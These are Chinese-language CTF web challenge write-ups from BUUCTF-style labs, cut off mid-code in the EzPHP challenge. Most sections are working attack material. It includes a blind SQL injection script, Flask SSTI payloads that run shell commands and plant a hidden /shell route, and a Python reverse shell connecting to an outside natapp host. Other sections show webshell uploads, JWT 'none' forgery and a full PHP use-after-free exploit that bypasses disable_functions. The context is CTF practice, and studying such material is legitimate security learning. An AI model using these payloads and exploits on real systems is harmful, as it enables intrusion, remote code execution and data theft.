根据生成算法逆向出满足php_mt_seed工具要求的参数(百度抄的
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='pbEzqyRCJP'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)
#15 15 0 61 1 1 0 61 40 40 0 61 25 25 0 61 16 16 0 61 24 24 0 61 53 53 0 61 38 38 0 61 45 45 0 61 51 51 0 61
放到php_mt_seed里跑种子
再利用这个脚本得到最后的值
<?php
mt_srand(499600072);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>
吐槽一下,工业互联网的时候看见一个类似的题,照着这个题的wp没跑出来,今天才知道是php_mt_seed的问题,虽然感觉很离谱
官网下的爆不出seed,从这里下的可以Index of /pub/projects/php_mt_seed (openwall.net)
还有就是一样的种子在php版本不一样的时候出来的值也不一样
[Zer0pts2020]Can you guess it?
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>
这里我本来以为是php伪随机数的漏洞,结果最后查了一下发现是basename函数的漏洞
它会忽略后面的[\x80-\xff]范围内的字符串,即非ascii字符。例子如下:
php -r 'print(basename("index.php/config.php/\x80"));' // config.php
php -r 'print(basename("\x80index.php/config.php"));' // config.php
$_SERVER[‘PHP_SELF’]表示当前执行脚本的文件名,当使用了PATH_INFO时,这个值是可控的。所以可以尝试用/index.php/config.php/\x80?source来读取flag。
[CISCN2019 总决赛 Day2 Web1]Easyweb
源码泄露
下载image.php.bak
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
GET方式传入变量id的值,若没有则为1
GET方式传入变量path的值,若没有则为空
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串,单引号(')、双引号(")、反斜杠(\)
str_replace()函数将两个变量内的\0、%00、'、'都替换为空
将变量$id与$path拼接进SQL语句
脚本:
import requests
url = "http://f99fde09-be38-4b5a-bea6-2362fb4115e4.node4.buuoj.cn:81/image.php?id=\\0'&path="
payload1 = r"or ascii(substr(database(),{},1))>{} --+"
payload2 = r"or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),{},1)) > {} --+"
payload3 = r"or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = 0x7573657273),{},1)) > {} --+"
payload4 = r"or ascii(substr((select password from users),{},1)) > {} --+"
database = ""
for i in range(1,1000):
low = 32
high = 128
mid = (low + high) // 2
while(low < high):
payload = payload4.format(i,mid)
new_url = url + payload
r = requests.get(new_url)
if "JFIF" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 128):
break
database += chr(mid)
print(database)
得到密码和用户名登录
登录后是个文件上传的页面
这里要用文件名传一句话木马
在上传后的目录可以看到上传的文件名但是不能访问上传文件的内容
不能用php就用短标签代替
[CSCCTF 2019 Qual]FlaskLight
一眼ssti,然后就不会了(
f12看到源码注释,get方式,参数为search
试一下传{{7*7}}
确定是ssti
config 也是 Flask模版中的一个全局对象,它包含了所有应用程序的配置值。
{{ config.items() }} // 查看配置项目的信息
{{(()|select|string)[24]~(()|select|string)[24]~(()|select|string)[15]~(()|select|string)[20]~(()|select|string)[6]~(()|select|string)[18]~(()|select|string)[18]~(()|select|string)[24]~(()|select|string)[24]}}
例一:
warnings.catch_warnings类
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
PS:由于使用[‘globals’]会造成500的服务器错误信息,并且当我直接输入search=globals时页面也会500,觉得这里应该是被过滤了,所以这里采用了字符串拼接的形式[‘glo’+'bals’]
最后获取flag
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}
例二:
class’site._Printer’类
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
获取flag
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}
例三:
popen
{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek')}}
[HITCON 2017]SSRFme
进去后是php代码
直接抄的其他师傅的注释
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); // explode(separator,string)函数把以separator为分隔字符串将字符串打散为数组。
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); // “REMOTE_ADDR”为正在浏览当前页面用户的 IP 地址。
@mkdir($sandbox);
@chdir($sandbox); // 改变当前的目录到$sandbox
$data = shell_exec("GET " . escapeshellarg($_GET["url"])); // escapeshellarg()把字符串转码为可以在 shell 命令里使用的参数
$info = pathinfo($_GET["filename"]); // pathinfo() 函数以数组的形式返回文件路径的信息。
$dir = str_replace(".", "", basename($info["dirname"])); // basename() 函数返回路径中的文件名部分。
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
// 以上代码大致为,调用GET(git)命令来执行从url获取的参数,从该url获取内容, 然后按照filename新建文件,写入git到的结果。
简单来说就是利用传参中的url执行命令,然后将结果保存在filename中
有几个地方不太懂
1.百度的wp都说这里利用的perl脚本里的open漏洞
利用GET中的open函数漏洞。
open函数在GET命令被调用时执行,也就是第五行执行GET命令时,perl语言会调用open命令,漏洞就存在于open命令对于文件的处理上,关于这个漏洞,外国人有文章,是这样写的:Perl saw that your “file” ended with a “pipe” (vertical
bar) character. So it interpreted the “file” as a command to be executed, and interpreted the command’s output as the “file”'s contents. The command is “who” (which prints information on currently logged-in users). If you execute that command, you will see that the output is exactly what the Perl program gave you.
翻译过来意思是
perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。
2.这里执行url传入的命令的前提是要求有个以该命令命名的文件
?url=/&filename=1.txt 看一下根目录
有两个和flag有关的文件,试flag无果,只能试试readflag
?url=&filename=bash -c /readflag|
先创建一个bash -c /readflag|的文件
?url=file:bash -c /readflag|&filename=bash -c /readflag|
利用url执行命令
/sandbox/md5值/bash -c /readflag|
[FBCTF2019]RCEService
json格式
cmd
可以猜到执行命令格式是
{"cmd":"ls"}
还可以直接get参数进去
但是cat参数没法直接用,还有过滤,不过可以用换行符绕过过滤
<?php
putenv('PATH=/home/rceservice/jail');
设置了环境变量的PATH,导致不能使用相对路径,只能用绝对路径:
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
cat命令不能直接用,原因可能是当前的PATH下没有cat,这里需要也需要用绝对路径:
Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用
cat 读出源码(我也很想知道网上的wp没源码之前怎么想到这么绕过的
然后找flag在的目录
找到之后利用cat读出来
[HFCTF2020]EasyLogin
注册个账号,登录,看到有个getflag但是提示权限不够
查看源码发现全是js的
看一下app.js
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/
function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {username, password, authorization:token})
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", {username, password})
.done(function(data) {
const { token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
function logout() {
$.get('/api/logout').done(function(data) {
const {status} = data;
if(status) {
document.location = '/login';
}
});
}
function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
提示是基于Node.js的koa框架,但是这个页面的代码并不是逻辑代码,用处不大。
在注释里提示静态文件处理出现问题,那么可能会出现任意文件读取漏洞
这里需要对koa框架的目录有一定的了解
访问一下controllers路径下的api.js
额,这里赵总说是经验。。。
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
赵总wp里的审计:
注册 /api/register,接受传入的 username 和 password,先判断 username 不为 admin,然后生成一个 key 来以这些信息为依据,生成一个 jwt 令牌,key 同时存入全局数组。
登录 /api/login,接受传入的 username 和 password,然后从令牌的信息段中取 key 的 id,从程序中的全局数组取出 key,然后进行验证,验证通过之后置 session 中的 username 为登录时使用的 username。
获取FLAG /api/flag,判断 session 中的用户名是否为 admin,是的话就直接给 flag。
可以看到信息是用 jwt 令牌储存的,使用 jsonwebtoken 库来操作,这里用的是 HS256加密,但经过测试发现,当加密时使用的是 none 方法,验证时只要密钥处为 undefined 或者空之类的,即便后面的算法指名为 HS256,验证也还是按照 none 来验证通过,这样很轻松地就可以伪造一个 username 为 admin 的 jwttoken 了。
在登录界面抓包后边这串就是jwt(当时忘了截图,这是改完jwt之后的了
之后在JSON Web Tokens - jwt.io里解码
接下来也是赵总的分析:
回到源程序逻辑中,若想让这里的密钥 key为空,就需要修改上面的 secretid。那么就尝试修改 secretid,使其无法作为全局变量 secrets 数组的索引,那么 secret 就会为空了。
注意,这里还有一个验证,要求 sid 不能为 undefined,null,并且必须在全局变量 secrets 数组的长度和 0 之间。乍看之下没有操作空间,怎么整都会取出 密钥 key。但别忘了 JavaScript 是一门弱类型语言,NodeJS 都是 JS 的语法,那自然也是咯。所以我们只要选择恰当的数据来绕过这个判断即可。可以做一个小实验来验证我们的想法。
一个小实验,空数组与数字比较永远为真,当然用空字符串之类的也可以
最后利用python的PyJWT库来加密
抓包再放包就可以读取这个flag
虎符 CTF Web 部分 Writeup – glzjin (zhaoj.in)
[b01lers2020]Welcome to Earth
抓包之后一直往下走
源码里找不到就去看js
最后可以找到一个
随机排列组合得到flag
from itertools import permutations
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
item = permutations(flag)#对flag全排列,返回的是iterators(迭代器)
for i in item:
k = ''.join(i)#join连接成为字符串
if k[-1] =='}' and k[0:13] == 'pctf{hey_boys'://这里还可以用python的startswich方法判断是否是pctf{hey开头
//if k.startswith('pctf{hey_boys') and k[-1] =='}':
print(k)
[watevrCTF-2019]Cookie Store
抓session,base64解码把金额改成100,放包
[网鼎杯 2020 白虎组]PicDown
源码没东西,只有个url的get参数,还以为是ssrf之类的,搜了下wp,这里可能是因为环境原因,有个非预期解
非预期解:
有文件读取,直接url=/flag就能下载一个beautiful.jpg,改成txt就能看见flag
预期解:
/proc/self/目录的意义
我们都知道可以通过/proc/$pid/来获取指定进程的信息,例如内存映射、CPU绑定信息等等。如果某个进程想要获取本进程的系统信息,就可以通过进程的pid来访问/proc/$pid/目录。但是这个方法还需要获取进程pid,在fork、daemon等情况下pid还可能发生变化。为了更方便的获取本进程的信息,linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的系统信息,而不用每次都获取pid。
读一下app.py
url=app.py
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
可以看到no_one_know_the_manager
中要匹配SECRET_KEY,然后执行shell,但是SECRET_KEY所在的secret.txt被删掉了
但是这个文件是用open打开的,会创建文件描述符。
我们读这个文件描述符中的内容就好了此处可以通过/proc/pid/fd/
读取,这个目录包含了进程打开的每一个文件的链接
拿到key的内容,要url编码,但是shell执行的命令不会返回,这里使用反弹shell的方式,在根目录下读取flag
nmd弹了几个小时终于弹tan出来了
没公网ip,搞了个端口映射后的公网
(23条消息) 端口映射后的公网反弹shell_来到了学渣的博客-CSDN博客
把本地的8082端口映射到公网
把这个payload当shell参数的值打进去
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('server.natappfree.cc',xxxxx));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
然后在Ubuntu里监听8082端口,从根目录里找到flag
泪目
[HarekazeCTF2019]encode_and_encode
source
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input'); #body获取post数据
$json = json_decode($body, true); #对body变量进行json解码
if (is_valid($body) && isset($json) && isset($json['page'])) {#判断body变量是否有效,json数据要有page
$page = $json['page'];
$content = file_get_contents($page); #从page中读出文件名,并读取文件
if (!$content || !is_valid($content)) {#检查content是否有效,即不能明文传输flag文件,利用php伪协议绕过
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);#如果查到content里有相关的ctf字样,则用censored替代
echo json_encode(['content' => $content]);#最后将json编码后的content输出
这里可以利用json_decode会将\uxxx
进行转义的特性,这样就可以绕过is_valid的检测
[WUSTCTF2020]CV Maker
进去后是个看起来很高端的界面,但是注册然后登录后有个明显 的上传位置
通过更改头像传个马上去,蚁剑连接就行
这里前端有个判断图片类型的地方,所以先传个jpg再bp抓包改成php就行
[RootersCTF2019]I_<3_Flask
ssti注入,用使用工具Arjun进行参数爆破
然后找到name参数后,拿出珍藏的写入shell的payload
ctf中flask_ssti的各种绕过技巧 - 先知社区 (aliyun.com)
{% if 1==lipsum['__globals__']['__builtins__']['exec']('\x66\x72\x6f\x6d\x20\x66\x6c\x61\x73\x6b\x20\x69\x6d\x70\x6f\x72\x74\x20\x63\x75\x72\x72\x65\x6e\x74\x5f\x61\x70\x70\x0a\x0a\x40\x63\x75\x72\x72\x65\x6e\x74\x5f\x61\x70\x70\x2e\x72\x6f\x75\x74\x65\x28\x27\x2f\x73\x68\x65\x6c\x6c\x27\x2c\x6d\x65\x74\x68\x6f\x64\x73\x3d\x5b\x27\x47\x45\x54\x27\x2c\x27\x50\x4f\x53\x54\x27\x5d\x29\x0a\x64\x65\x66\x20\x73\x68\x65\x6c\x6c\x28\x29\x3a\x0a\x20\x20\x20\x20\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73\x0a\x20\x20\x20\x20\x66\x72\x6f\x6d\x20\x66\x6c\x61\x73\x6b\x20\x69\x6d\x70\x6f\x72\x74\x20\x72\x65\x71\x75\x65\x73\x74\x0a\x20\x20\x20\x20\x63\x6d\x64\x3d\x72\x65\x71\x75\x65\x73\x74\x2e\x61\x72\x67\x73\x2e\x67\x65\x74\x28\x27\x63\x6d\x64\x27\x29\x0a\x20\x20\x20\x20\x72\x74\x3d\x6f\x73\x2e\x70\x6f\x70\x65\x6e\x28\x63\x6d\x64\x29\x2e\x72\x65\x61\x64\x28\x29\x0a\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x72\x74') %}{% endif%}
其中的16进制编码了原始代码
即
from flask import current_app
@current_app.route('/shell',methods=['GET','POST'])
def shell():
import os
from flask import request
cmd=request.args.get('cmd')
rt=os.popen(cmd).read()
return rt
写入
然后直接写入命令
可能会出现not found的报错,多试几次
[CISCN2019 华东南赛区]Double Secret
有/secret目录,扫一下或者猜出来
arjun扫一下是否有传参
当数过大时就会进入debug界面,这时候基本就确定这是ssti注入了,可以看看源码
采用RC4加密的方式,这是一种对称加密,对密文再次加密就会变成明文,密钥是HereIsTreasure,知道这个后,利用cyberchef,对要输入的语句进行加密,再将密文传参进去
能找到根目录下的flag.txt
cat读取
这里应该是取巧了,buu的flag里不包含ciscn,所以这个过滤就没用了
从一道ctf题谈谈flask开启debug模式存在的安全问题_pin (sohu.com)
[红明谷CTF 2021]write_shell
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
过滤;可以利用短标签,过滤eval可以采用反引号,过滤空格可以用\t
PHP中有两种短标签,<??>和<?=?>。其中,<??>相当于对<?php>的替换。而<?=?>则是相当于<? echo>。
?action=upload&data=<?=`ls\t/`?>
?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>
或者
?action=upload&data=<?=`cat\t/f*`?>
*为通配符
[GYCTF2020]EasyThinking
题目时thinkphp6版本的漏洞
ThinkPHP6 任意文件操作漏洞分析 - 链滴 (ld246.com)
只需要构造 PHPSESSID 的值即可,值为 string
&&长度为 32
此时查看一下生成的 session,生成的 session 文件保存在 \runtime\session
下
session 里的内容:
a:1:{s:4:"name";s:8:"thinkphp";}
可以看到 session 的内容经过了序列化操作,只要将 session 的内容反序列化即可 getshell
这个师傅构造了一个向SESSION中写入值的类和函数,但是在本题中,搜索的内容直接被写入了SESSION(别问,问就是我也看不懂
所以我们可以修改session为.php的后缀,然后
在搜索栏里搜个马,就可以在/runtime/session路径下访问并执行这个马
先试试phpinfo
/runtime/session/sess_0123456789012345678901234568.php
写个一句话木马
蚁剑连接
根目录又flag但是打开没东西,还有一个readflag是二进制文件,猜测是要执行readflag来读取flag文件里的内容
但是在虚拟终端无法执行命令
结合phpinfo里的禁用函数
能得出这是个突破disable_function限制执行命令的考点
之前[极客大挑战 2019]RCE ME也有这个考点(往上翻
但是在这道题里用蚁剑的插件没法绕过
上个exp(羡慕能写出这种exp的大师傅
<?php
pwn("/readflag");
function pwn($cmd)
{
global $abc, $helper, $backtrace;
class Vuln
{
public $a;
public function __destruct()
{
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if (!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper
{
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8)
{
$address = 0;
for ($j = $s - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p + $j]);
}
return $address;
}
function ptr2str($ptr, $m = 8)
{
$out = "";
for ($i = 0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8)
{
$i = 0;
for ($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8)
{
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if ($s != 8) {
$leak %= 2 << ($s * 8) - 1;
}
return $leak;
}
function parse_elf($base)
{
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for ($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if ($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if ($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if (!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf)
{
list($data_addr, $text_size, $data_size) = $elf;
for ($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if ($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if ($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak)
{
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for ($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if ($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs)
{
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if ($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while ($f_entry != 0);
return false;
}
function trigger_uaf($arg)
{
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if (stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for ($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) {
};
if (strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if (!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if (!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if (!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if (!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for ($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
把这个php文件找个地方传上去
访问这个路径,得到flag
[BJDCTF2020]EzPHP
这个题是个挺有意思的代码审计题
中间这个东西链接好像寄了,但是不影响做题,源码里有串base32,解码为1nD3x.php
访问这个页面
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
